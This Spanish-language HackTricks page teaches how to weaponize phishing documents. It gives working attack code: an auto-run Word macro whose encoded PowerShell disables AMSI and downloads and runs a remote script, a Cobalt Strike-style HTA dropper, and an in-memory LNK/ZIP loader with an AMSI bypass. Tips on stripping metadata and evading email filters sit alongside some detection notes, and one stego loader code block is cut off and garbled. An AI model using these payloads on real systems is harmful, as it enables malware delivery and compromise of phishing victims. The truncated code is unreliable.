Phishing Archivos y Documentos
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Documentos de Office
Microsoft Word realiza una validación de los datos del archivo antes de abrirlo. La validación se realiza en forma de identificación de la estructura de datos, contra el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo que se está analizando no se abrirá.
Normalmente, los archivos de Word que contienen macros usan la extensión .docm. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún así mantener su capacidad de ejecución de macros.
Por ejemplo, un archivo RTF no soporta macros, por diseño, pero un DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.
Los mismos internos y mecanismos se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint etc.).
Puedes usar el siguiente comando para comprobar qué extensiones van a ser ejecutadas por algunos programas de Office:
assoc | findstr /i "word excel powerp"
Los archivos DOCX que hacen referencia a una plantilla remota (File –Options –Add-ins –Manage: Templates –Go) que incluye macros también pueden “ejecutar” macros.
Carga de imagen externa
Ir a: Insert –> Quick Parts –> Field
Categorías: Enlaces y referencias, Filed names: includePicture, y Nombre de archivo o URL: http://
.png)
Macros Backdoor
Es posible usar macros para ejecutar código arbitrario desde el documento.
Funciones de autoload
Cuanto más comunes sean, más probable será que el AV las detecte.
- AutoOpen()
- Document_Open()
Ejemplos de código de macros
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Eliminar manualmente los metadatos
Ve a File > Info > Inspect Document > Inspect Document, lo que abrirá el Document Inspector. Haz clic en Inspect y luego en Remove All junto a Document Properties and Personal Information.
Extensión de documento
When finished, select Save as type dropdown, change the format from .docx to Word 97-2003 .doc.
Haz esto porque no puedes guardar macros dentro de un .docx y existe un estigma alrededor de la extensión habilitada para macros .docm (p. ej. el icono en miniatura tiene un enorme ! y algunos gateways web/email los bloquean por completo). Por lo tanto, esta extensión legada .doc es el mejor compromiso.
Generadores de macros maliciosas
Archivos HTA
Un HTA es un programa de Windows que combina HTML y lenguajes de scripting (como VBScript y JScript). Genera la interfaz de usuario y se ejecuta como una aplicación “completamente confiable”, sin las restricciones del modelo de seguridad de un navegador.
Un HTA se ejecuta usando mshta.exe, que típicamente está instalado junto con Internet Explorer, haciendo que mshta dependa de IE. Por lo tanto, si Internet Explorer ha sido desinstalado, los HTA no podrán ejecutarse.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Forzar la autenticación NTLM
Hay varias maneras de forzar la autenticación NTLM “remotamente”, por ejemplo, puedes añadir imágenes invisibles en correos o HTML que el usuario abrirá (¿incluso un MitM HTTP?). O enviar a la víctima la dirección de archivos que dispararán una autenticación solo por abrir la carpeta.
Consulta estas ideas y más en las siguientes páginas:
Force NTLM Privileged Authentication
NTLM Relay
No olvides que no solo puedes robar el hash o la autenticación, sino también realizar NTLM Relay attacks:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el PowerShell loader real se almacena dentro de los bytes crudos del ZIP tras un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.
Flujo típico implementado por el one-liner PowerShell del .lnk:
- Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData% y el directorio padre del directorio de trabajo actual.
- Leer los bytes del ZIP y encontrar un marcador hardcoded (p. ej., xFIQCV). Todo lo que esté después del marcador es la payload de PowerShell incrustada.
- Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para aparentar legitimidad.
- Evadir AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Desofuscar la siguiente etapa (p. ej., eliminar todos los caracteres #) y ejecutarla en memoria.
Ejemplo de esqueleto de PowerShell para extraer y ejecutar la etapa incrustada:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Notes
- La delivery a menudo abusa de subdominios reputados de PaaS (p. ej., *.herokuapp.com) y puede condicionar la entrega de payloads (servir ZIPs benignos según IP/UA).
- La siguiente etapa con frecuencia descifra shellcode base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco.
Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
Hunting/IOCs
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
- Manipulación de AMSI mediante [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Hilos de negocio de larga ejecución que terminan con enlaces alojados bajo dominios confiables de PaaS.
Payloads delimitados por Steganography en imágenes (PowerShell stager)
Cadenas de loaders recientes entregan un JavaScript/VBS ofuscado que decodifica y ejecuta un PowerShell stager en Base64. Ese stager descarga una imagen (frecuentemente GIF) que contiene un .NET DLL codificado en Base64 oculto como texto plano entre marcadores únicos de inicio/fin. El script busca esos delimitadores (ejemplos vistos en el wild: «<<sudo_png>> … <<sudo_odt>>>»), extrae el texto entre ellos, lo decodifica Base64 a bytes, carga el assembly in-memory e invoca un método de entrada conocido con la C2 URL.
Workflow
- Stage 1: Archived JS/VBS dropper → decodes embedded Base64 → launches PowerShell stager with -nop -w hidden -ep bypass.
- Stage 2: PowerShell stager → downloads image, carves marker-delimited Base64, loads the .NET DLL in-memory and calls its method (e.g., VAI) passing the C2 URL and options.
- Stage 3: Loader retrieves final payload and typically injects it via process hollowing into a trusted binary (commonly MSBuild.exe). See more about process hollowing and trusted utility proxy execution here:
PowerShell example to carve a DLL from an image and invoke a .NET method in-memory:
Extractor y cargador de payload stego en PowerShell
```powershell # Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory param( [string]$Url = 'https://example.com/payload.gif', [string]$StartM = '<Notas
- Esto es ATT&CK T1027.003 (steganography/marker-hiding). Los marcadores varían entre campañas.
- AMSI/ETW bypass y string deobfuscation suelen aplicarse antes de cargar el assembly.
- Detección: escanear imágenes descargadas en busca de delimitadores conocidos; identificar PowerShell accediendo a imágenes y decodificando inmediatamente blobs Base64.
See also stego tools and carving techniques:
Quick Triage Checklist First 10 Minutes
JS/VBS droppers → Base64 PowerShell staging
A recurring initial stage is a small, heavily‑obfuscated .js or .vbs delivered inside an archive. Its sole purpose is to decode an embedded Base64 string and launch PowerShell with -nop -w hidden -ep bypass to bootstrap the next stage over HTTPS.
Skeleton logic (abstract):
- Leer el contenido del propio archivo
- Localizar un blob Base64 entre cadenas basura
- Decodificar a ASCII PowerShell
- Ejecutar con
wscript.exe/cscript.exeinvocandopowershell.exe
Indicadores de detección
- Archived JS/VBS attachments spawning
powershell.exewith-enc/FromBase64Stringin the command line. wscript.exelaunchingpowershell.exe -nop -w hiddenfrom user temp paths.
Archivos de Windows para robar hashes NTLM
Consulta la página sobre places to steal NTLM creds:
References
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Steganography (T1027.003)
- MITRE ATT&CK – Process Hollowing (T1055.012)
- MITRE ATT&CK – Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

